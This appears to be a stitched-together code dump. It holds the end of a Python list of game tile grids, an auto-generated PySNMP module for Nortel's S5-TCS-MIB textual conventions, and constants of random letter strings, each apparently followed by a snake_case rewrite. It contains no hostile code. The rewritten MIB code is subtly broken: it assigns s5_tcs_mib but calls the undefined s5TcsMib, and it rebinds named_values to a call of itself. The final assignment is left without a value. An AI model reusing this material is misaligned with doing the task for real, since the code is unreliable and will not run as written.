'b1', 'ma1', 'ma3', 'ma5', 'b1'], ['b1', 'ma1', 'ma3', 'ma5', 'b1', 'b1', 'b1', 'ma2', 'ma4', 'ma6', 'b1'], ['b1', 'ma2', 'ma4', 'ma6', 'b1', 'm1', 'p1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'm1', 'b1', 'm1', 'm1', 'b1'], ['b1', 'm1', 'e1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'e1', 'm1'], ['b1', 'b1', 'm1', 'b1', 'm1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'ma1', 'ma3', 'ma5', 'b1', 'b1'], ['b1', 'm1', 'm1', 'b1', 'm1', 'b1', 'ma2', 'ma4', 'ma6', 'b1', 'm1'], ['b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1', 'b1']]), ('g1', 'f2', [['e1', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'e1'], ['b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'm2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'm2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'm2', 'm2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'm2', 'b2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2'], ['e1', 'b2', 'b2', 'b2', 'b2', 'p1', 'b2', 'b2', 'b2', 'b2', 'e1']]), ('g1', 'f2', [['e1', 'm2', 'm2', 'b2', 'm2', 'p1', 'm2', 'b2', 'm2', 'm2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['m2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'e1', 'm2', 'm2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2'], ['e1', 'm2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'b2'], ['m2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'b2', 'b2', 'm2', 'b2', 'b2', 'm2', 'b2'], ['m2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2', 'b2', 'm2', 'm2'], ['e1', 'b2', 'b2', 'm2', 'b2', 'b2', 'e1', 'm2', 'b2', 'b2', 'e1']]), ('g1', 'f2', [['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'e1', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'e1', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5'], ['mb2', 'mb4', 'mb6', 'b2', 'b2', 'p1', 'b2', 'b2', 'mb2', 'mb4', 'mb6'], ['b2', 'b2', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'b2', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2'], ['b2', 'e1', 'b2', 'b2', 'mb1', 'mb3', 'mb5', 'b2', 'b2', 'e1', 'b2'], ['b2', 'b2', 'b2', 'b2', 'mb2', 'mb4', 'mb6', 'b2', 'b2', 'b2', 'b2']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'e1', 'm5', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm3', 'v'], ['m3', 'm5', 'b3', 'm5', 'b3', 'p1', 'b3', 'm5', 'b3', 'b3', 'm3'], ['m3', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'e1', 'm3'], ['v', 'm3', 'm5', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'm5', 'b3', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'b3', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'm5', 'm5', 'm5', 'm5', 'm5', 'b3', 'm3', 'v'], ['m3', 'e1', 'b3', 'b3', 'm5', 'p1', 'b3', 'b3', 'b3', 'e1', 'm3'], ['m3', 'e1', 'b3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3'], ['v', 'm3', 'b3', 'm5', 'm5', 'm5', 'm5', 'm5', 'b3', 'm3', 'v'], ['v', 'm3', 'b3', 'b3', 'b3', 'm5', 'b3', 'b3', 'b3', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']]), ('g1', 'f33', [['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v'], ['v', 'v', 'm3', 'm3', 'm5', 'e1', 'b3', 'm3', 'm3', 'v', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3', 'v'], ['v', 'm3', 'm5', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'm3', 'v'], ['m3', 'm5', 'b3', 'b3', 'b3', 'p1', 'b3', 'm5', 'b3', 'e1', 'm3'], ['m3', 'e1', 'b3', 'm5', 'b3', 'b3', 'b3', 'b3', 'b3', 'm5', 'm3'], ['v', 'm3', 'm5', 'm5', 'b3', 'm5', 'b3', 'm5', 'm5', 'm3', 'v'], ['v', 'm3', 'e1', 'b3', 'b3', 'm5', 'b3', 'b3', 'e1', 'm3', 'v'], ['v', 'v', 'm3', 'm3', 'b3', 'e1', 'm5', 'm3', 'm3', 'v', 'v'], ['v', 'v', 'v', 'v', 'm3', 'm3', 'm3', 'v', 'v', 'v', 'v']])]
# # PySNMP MIB module S5-TCS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/S5-TCS-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:35:57 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion") s5Tcs, = mibBuilder.importSymbols("S5-ROOT-MIB", "s5Tcs") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") ModuleIdentity, Counter64, NotificationType, Unsigned32, Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, MibIdentifier, Bits, Counter32, iso, TimeTicks, Integer32, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "Counter64", "NotificationType", "Unsigned32", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "MibIdentifier", "Bits", "Counter32", "iso", "TimeTicks", "Integer32", "IpAddress") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") s5TcsMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 45, 1, 6, 17, 0)) s5TcsMib.setRevisions(('2013-10-10 00:00', '2004-07-20 00:00',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: s5TcsMib.setRevisionsDescriptions(('Version 114: Add Integer32 to IMPORTS.', 'Version 113: Conversion to SMIv2',)) if mibBuilder.loadTexts: s5TcsMib.setLastUpdated('201310100000Z') if mibBuilder.loadTexts: s5TcsMib.setOrganization('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setContactInfo('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setDescription("5000 Common Textual Conventions MIB Copyright 1993-2004 Nortel Networks, Inc. All rights reserved. This Nortel Networks SNMP Management Information Base Specification (Specification) embodies Nortel Networks' confidential and proprietary intellectual property. Nortel Networks retains all title and ownership in the Specification, including any revisions. This Specification is supplied 'AS IS,' and Nortel Networks makes no warranty, either express or implied, as to the use, operation, condition, or performance of the Specification.") class IpxAddress(TextualConvention, OctetString): description = "A textual convention for IPX addresses. The first four bytes are the network number in 'network order'. The last 6 bytes are the MAC address." status = 'current' subtypeSpec = OctetString.subtypeSpec + ValueSizeConstraint(10, 10) fixedLength = 10 class TimeIntervalHrd(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of 0.01 seconds.' status = 'current' class TimeIntervalSec(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of seconds.' status = 'current' class SrcIndx(TextualConvention, Integer32): description = "A textual convention for an Index of a 'source'. The values are encoded so that the same MIB object can be used to describe the same type of data, but from different sources. For the 5000 Chassis, this is encoded in the following base 10 fields: 1bbiii - identifies an interface on an NMM where 'bb' is the board index and 'iii' is the interface number. 2bbppp - identifies a connectivity port on a board where 'bb' is the board INDEX and 'ppp' is the port INDEX. 3bblll - identifies a local channel on a board where 'bb' is the board INDEX and 'll' is the local channel INDEX. 4bbccc - identifies a cluster on a board where 'bb' is the board INDEX and 'cc' is the cluster INDEX. 5bbfff - identifies a FPU on a board where 'bb' is the board INDEX, and 'fff' is the FPU INDEX. 6bbnnn - identifies host board backplane counters where 'bb' is the board INDEX, and 'nnn' is the segment INDEX. 7bbccc - identifies a NULL segment on a board where 'bb' is the board INDEX, and 'ccc' is the cluster INDEX. 8mmnnn - identifies a sum across all host board(s) connected to a given backplane segment where 'mm' is media type, and 'nnn' is the segment INDEX. (NOTE: This is currently only valid for Ethernet.)" status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 999999) class MediaType(TextualConvention, Integer32): description = 'A textual convention for Media types' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("eth", 2), ("tok", 3), ("fddi", 4)) class FddiBkNetMode(TextualConvention, Integer32): description = 'The FDDI backplane mode.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("other", 1), ("thruLow", 2), ("thruHigh", 3), ("thruLowThruHigh", 4)) class BkNetId(TextualConvention, Integer32): description = 'The backplane network ID. This is a numeric assignment made to a backplane channel, a piece of a divided backplane channel, or a grouping of several backplane channels (which is done for FDDI). The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into networks, and by grouping when allowed by the media (such as FDDI). Different media and backplane implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 255) class BkChan(TextualConvention, Integer32): description = 'The physical backplane channel identification. This does not change when a backplane is divided. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class LocChan(TextualConvention, Integer32): description = 'The physical local channel identification. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 255) class AttId(TextualConvention, Integer32): description = 'The attachment ID. This is either a backplane network ID, a local channel, or as an indication of no backplane network attachment. Negative numbers are used to identify local channels on a board. Where used, the board must also be specified (or implied). A value of zero is used to indicate no (or null) attachment. Positive numbers are the backplane network IDs. The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into backplane networks, and by grouping when allowed by the media (such as FDDI). Different media and implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(-255, 255) mibBuilder.exportSymbols("S5-TCS-MIB", TimeIntervalSec=TimeIntervalSec, MediaType=MediaType, IpxAddress=IpxAddress, TimeIntervalHrd=TimeIntervalHrd, LocChan=LocChan, SrcIndx=SrcIndx, AttId=AttId, PYSNMP_MODULE_ID=s5TcsMib, s5TcsMib=s5TcsMib, BkNetId=BkNetId, FddiBkNetMode=FddiBkNetMode, BkChan=BkChan)
(octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, constraints_intersection, value_size_constraint, value_range_constraint, constraints_union) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ConstraintsIntersection', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsUnion') (s5_tcs,) = mibBuilder.importSymbols('S5-ROOT-MIB', 's5Tcs') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (module_identity, counter64, notification_type, unsigned32, gauge32, mib_scalar, mib_table, mib_table_row, mib_table_column, object_identity, mib_identifier, bits, counter32, iso, time_ticks, integer32, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'ModuleIdentity', 'Counter64', 'NotificationType', 'Unsigned32', 'Gauge32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ObjectIdentity', 'MibIdentifier', 'Bits', 'Counter32', 'iso', 'TimeTicks', 'Integer32', 'IpAddress') (textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString') s5_tcs_mib = module_identity((1, 3, 6, 1, 4, 1, 45, 1, 6, 17, 0)) s5TcsMib.setRevisions(('2013-10-10 00:00', '2004-07-20 00:00')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: s5TcsMib.setRevisionsDescriptions(('Version 114: Add Integer32 to IMPORTS.', 'Version 113: Conversion to SMIv2')) if mibBuilder.loadTexts: s5TcsMib.setLastUpdated('201310100000Z') if mibBuilder.loadTexts: s5TcsMib.setOrganization('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setContactInfo('Nortel Networks') if mibBuilder.loadTexts: s5TcsMib.setDescription("5000 Common Textual Conventions MIB Copyright 1993-2004 Nortel Networks, Inc. All rights reserved. This Nortel Networks SNMP Management Information Base Specification (Specification) embodies Nortel Networks' confidential and proprietary intellectual property. Nortel Networks retains all title and ownership in the Specification, including any revisions. This Specification is supplied 'AS IS,' and Nortel Networks makes no warranty, either express or implied, as to the use, operation, condition, or performance of the Specification.") class Ipxaddress(TextualConvention, OctetString): description = "A textual convention for IPX addresses. The first four bytes are the network number in 'network order'. The last 6 bytes are the MAC address." status = 'current' subtype_spec = OctetString.subtypeSpec + value_size_constraint(10, 10) fixed_length = 10 class Timeintervalhrd(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of 0.01 seconds.' status = 'current' class Timeintervalsec(TextualConvention, Integer32): description = 'A textual convention for a period of time measured in units of seconds.' status = 'current' class Srcindx(TextualConvention, Integer32): description = "A textual convention for an Index of a 'source'. The values are encoded so that the same MIB object can be used to describe the same type of data, but from different sources. For the 5000 Chassis, this is encoded in the following base 10 fields: 1bbiii - identifies an interface on an NMM where 'bb' is the board index and 'iii' is the interface number. 2bbppp - identifies a connectivity port on a board where 'bb' is the board INDEX and 'ppp' is the port INDEX. 3bblll - identifies a local channel on a board where 'bb' is the board INDEX and 'll' is the local channel INDEX. 4bbccc - identifies a cluster on a board where 'bb' is the board INDEX and 'cc' is the cluster INDEX. 5bbfff - identifies a FPU on a board where 'bb' is the board INDEX, and 'fff' is the FPU INDEX. 6bbnnn - identifies host board backplane counters where 'bb' is the board INDEX, and 'nnn' is the segment INDEX. 7bbccc - identifies a NULL segment on a board where 'bb' is the board INDEX, and 'ccc' is the cluster INDEX. 8mmnnn - identifies a sum across all host board(s) connected to a given backplane segment where 'mm' is media type, and 'nnn' is the segment INDEX. (NOTE: This is currently only valid for Ethernet.)" status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 999999) class Mediatype(TextualConvention, Integer32): description = 'A textual convention for Media types' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('other', 1), ('eth', 2), ('tok', 3), ('fddi', 4)) class Fddibknetmode(TextualConvention, Integer32): description = 'The FDDI backplane mode.' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('other', 1), ('thruLow', 2), ('thruHigh', 3), ('thruLowThruHigh', 4)) class Bknetid(TextualConvention, Integer32): description = 'The backplane network ID. This is a numeric assignment made to a backplane channel, a piece of a divided backplane channel, or a grouping of several backplane channels (which is done for FDDI). The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into networks, and by grouping when allowed by the media (such as FDDI). Different media and backplane implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 255) class Bkchan(TextualConvention, Integer32): description = 'The physical backplane channel identification. This does not change when a backplane is divided. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 255) class Locchan(TextualConvention, Integer32): description = 'The physical local channel identification. A value of zero means no channel. Otherwise, the channels are numbered starting at one.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 255) class Attid(TextualConvention, Integer32): description = 'The attachment ID. This is either a backplane network ID, a local channel, or as an indication of no backplane network attachment. Negative numbers are used to identify local channels on a board. Where used, the board must also be specified (or implied). A value of zero is used to indicate no (or null) attachment. Positive numbers are the backplane network IDs. The number (and values) of the backplane networks is determined by the setting of the channel divider(s) which split some or all the backplane channels into backplane networks, and by grouping when allowed by the media (such as FDDI). Different media and implementations may have a divider or not. Also, there may be different mappings of backplane network IDs to a divided (or undivided) backplane channel. Note to agent implementors - you must map the divided (or undivided) backplane channel to the numbering here based on the setting of the backplane channel divider(s), and/or the grouping of the channels for FDDI.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(-255, 255) mibBuilder.exportSymbols('S5-TCS-MIB', TimeIntervalSec=TimeIntervalSec, MediaType=MediaType, IpxAddress=IpxAddress, TimeIntervalHrd=TimeIntervalHrd, LocChan=LocChan, SrcIndx=SrcIndx, AttId=AttId, PYSNMP_MODULE_ID=s5TcsMib, s5TcsMib=s5TcsMib, BkNetId=BkNetId, FddiBkNetMode=FddiBkNetMode, BkChan=BkChan)
STRING_51_CHARS = "SFOTYFUZTMDSOULXMKVFDOBQWNBAVGANMVLXQQZZQZQHBLJRZNY" STRING_301_CHARS = ( "ZFOMVKXETILJKBZPVKOYAUPNYWWWUICNEVXVPWNAMGCNHDBRMATGPMUHUZHUJKFWWLXBQXVDNCGJHAPKEK" "DZCXKBXEHWCWBYDIGNYXTOFWWNLPBTVIGTNQKIQDHUAHZPWQDKKCHERBYKLAUOOKJXJJLGOPSCRVEHCOAD" "BFYKJTXHMPPYWQVXCVGNNSXLNIHVKTVMEOIRXQDPLHIDZBAHUEDWXKXILEBOLILOYGZLNGCNXKWMFJWYYI" "PIDUKJVGKTUERTPRMMMVZNAAOMZJFXFSEENCAMBOUJMYXTPHJEOPKDB" ) STRING_3001_CHARS = ( "UJSUOROQMIMCCCGFHQJVJXBCPWAOIMVOIIPFZGIZOBZWJHQLIABTGHXJMYVWYCFUIOWMVLJPJOHDVZRHUE" "SVNQTHGXFKMGNBPRALVWQEYTFBKKKFUONDFRALDRZHKPGTWZAXOUFQJKOGTMYSFEDBEQQXIGKZMXNKDCEN" "LSVHNGWVCIDMNSIZTBWBBVUMLPHRUCIZLZBFEGNFXZNJEZBUTNHNCYWWYSJSJDNOPPGHUPZLPJWDKEATZO" "UGKZEGFTFBGZDNRITDFBDJLYDGETUHBDGFEELBJBDMSRBVFPXMRJXWULONCZRZZBNFOPARFNXPQONKEIKG" "QDPJWCMGYSEIBAOLJNWPJVUSMJGCSQBLGZCWXJOYJHIZMNFMTLUQFGEBOONOZMGBWORFEUGYIUJAKLVAJZ" "FTNOPOZNMUJPWRMGPKNQSBMZQRJXLRQJPYYUXLFUPICAFTXDTQIUOQRCSLWPHHUZAOPVTBRCXWUIXMFGYT" "RBKPWJJXNQPLIAZAOKIMDWCDZABPLNOXYOZZBTHSDIPXXBKXKOSYYCITFSMNVIOCNGEMRKRBPCLBOCXBZQ" "VVWKNJBPWQNJOJWAGAIBOBFRVDWLXVBLMBSXYLOAWMPLKJOVHABNNIFTKTKBIIBOSHYQZRUFPPPRDQPMUV" "WMSWBLRUHKEMUFHIMZRUNNITKWYIWRXYPGFPXMNOABRWXGQFCWOYMMBYRQQLOIBFENIZBUIWLMDTIXCPXW" "NNHBSRPSMCQIMYRCFCPLQQGVOHYZOUGFEXDTOETUKQAXOCNGYBYPYWDQHYOKPCCORGRNHXZAAYYZGSWWGS" "CMJVCTAJUOMIMYRSVQGGPHCENXHLNFJJOEKIQWNYKBGKBMBJSFKKKYEPVXMOTAGFECZWQGVAEXHIAKTWYO" "WFYMDMNNHWZGBHDEXYGRYQVXQXZJYAWLJLWUGQGPHAYJWJQWRQZBNAMNGEPVPPUMOFTOZNYLEXLWWUTABR" "OLHPFFSWTZGYPAZJXRRPATWXKRDFQJRAEOBFNIWVZDKLNYXUFBOAWSDSKFYYRTADBBYHEWNZSTDXAAOQCD" "WARSJZONQXRACMNBXZSEWZYBWADNDVRXBNJPJZQUNDYLBASCLCPFJWAMJUQAHBUZYDTIQPBPNJVVOHISZP" "VGBDNXFIHYCABTSVNVILZUPPZXMPPZVBRTRHDGHTXXLBIYTMRDOUBYBVHVVKQAXAKISFJNUTRZKOCACJAX" "ZXRRKMFOKYBHFUDBIXFAQSNUTYFNVQNGYWPJZGTLQUMOWXKKTUZGOUXAOVLQMMNKKECQCCOBNPPPXZYWZU" "WHLHZQDIETDDPXWTILXGAYJKPHBXPLRFDPDSHFUPOIWRQDWQQNARPHPVKJPXZGGXOUVBYZSLUPVIJKWKNF" "WMFKWYSYJJCCSCALMVPYIPHDKRXOWTUAYJFTAANCTVYDNSSIHGCWGKLDHFFBFSIFBMGHHFHZQSWOWZXOUW" "PKNICGXPFMFIESHPDDMGSSWGBIAQVBANHLGDBYENRLSUARJXLQWPMOUSUKIIVXICBJPSWOEZPEUAJSLITV" "XEQWSRENUJRJHPLBPFMBRPKGQNSYFWVLFLSQGGETKDUGYOLNFSMRVAZLQOAEKCUGNFEXRUDYSKBOQPYJAH" "QHEIMSAAMTTYVJTHZDGQEITLERRYYQCTEQPTYQPHLMBDPCZZNNJYLGAGNXONCTIBSXEHXPYWBCTEEZLIYI" "FMPYONXRVLSGZOEDZIMVDDPRXBKCKEPHOVLRBSPKMLZPXNRZVSSSYAOMGSVJODUZAJDYLGUZAFJMCOVGQX" "ZUWQJENTEWQRFZYQTVEAHFQUWBUCFWHGRTMNQQFSPKKYYUBJVXKFQCCMBNGWNTRFGFKBFWTTPNDTGGWTAK" "EOTXUPGFXOVWTOERFQSEZWVUYMGHVBQZIKIBJCNMKTZANNNOVMYTFLQYVNKTVZHFUJTPWNQWRYKGMYRYDC" "WNTCUCYJCWXMMOJXUJSDWJKTTYOBFJFLBUCECGTVWKELCBDIKDUDOBLZLHYJQTVHXSUAFHDFDMETLHHEEJ" "XJYWEOTXAUOZARSSQTBBXULKBBSTQHMJAAOUDIQCCETFWAINYIJCGXCILMDCAUYDMNZBDKIPVRCKCYKOIG" "JHBLUHPOLDBWREFAZVEFFSOQQHMCXQYCQGMBHYKHJDBZXRAXLVZNYQXZEQYRSZHKKGCSOOEGNPFZDNGIMJ" "QCXAEWWDYIGTQMJKBTMGSJAJCKIODCAEXVEGYCUBEEGCMARPJIKNAROJHYHKKTKGKKRVVSVYADCJXGSXAR" "KGOUSUSZGJGFIKJDKJUIRQVSAHSTBCVOWZJDCCBWNNCBIYTCNOUPEYACCEWZNGETBTDJWQIEWRYIQXOZKP" "ULDPCINLDFFPNORJHOZBSSYPPYNZTLXBRFZGBECKTTNVIHYNKGBXTTIXIKRBGVAPNWBPFNCGWQMZHBAHBX" "MFEPSWVBUDLYDIVLZFHXTQJWUNWQHSWSCYFXQQSVORFQGUQIHUAJYFLBNBKJPOEIPYATRMNMGUTTVBOUHE" "ZKXVAUEXCJYSCZEMGWTPXMQJEUWYHTFJQTBOQBEPQIPDYLBPIKKGPVYPOVLPPHYNGNWFTNQCDAATJVKRHC" "OZGEBPFZZDPPZOWQCDFQZJAMXLVREYJQQFTQJKHMLRFJCVPVCTSVFVAGDVNXIGINSGHKGTWCKXNRZCZFVX" "FPKZHPOMJTQOIVDIYKEVIIBAUHEDGOUNPCPMVLTZQLICXKKIYRJASBNDUZAONDDLQNVRXGWNQAOWSJSFWU" "YWTTLOVXIJYERRZQCJMRZHCXEEAKYCLEICUWOJUXWHAPHQJDTBVRPVWTMCJRAUYCOTFXLLIQLOBASBMPED" "KLDZDWDYAPXCKLZMEFIAOFYGFLBMURWVBFJDDEFXNIQOORYRMNROGVCOESSHSNIBNFRHPSWVAUQQVDMAHX" "STDOVZMZEFRRFCKOLDOOFVOBCPRRLGYFJNXVPPUZONOSALUUI" )
string_51_chars = 'SFOTYFUZTMDSOULXMKVFDOBQWNBAVGANMVLXQQZZQZQHBLJRZNY' string_301_chars = 'ZFOMVKXETILJKBZPVKOYAUPNYWWWUICNEVXVPWNAMGCNHDBRMATGPMUHUZHUJKFWWLXBQXVDNCGJHAPKEKDZCXKBXEHWCWBYDIGNYXTOFWWNLPBTVIGTNQKIQDHUAHZPWQDKKCHERBYKLAUOOKJXJJLGOPSCRVEHCOADBFYKJTXHMPPYWQVXCVGNNSXLNIHVKTVMEOIRXQDPLHIDZBAHUEDWXKXILEBOLILOYGZLNGCNXKWMFJWYYIPIDUKJVGKTUERTPRMMMVZNAAOMZJFXFSEENCAMBOUJMYXTPHJEOPKDB' string_3001_chars = 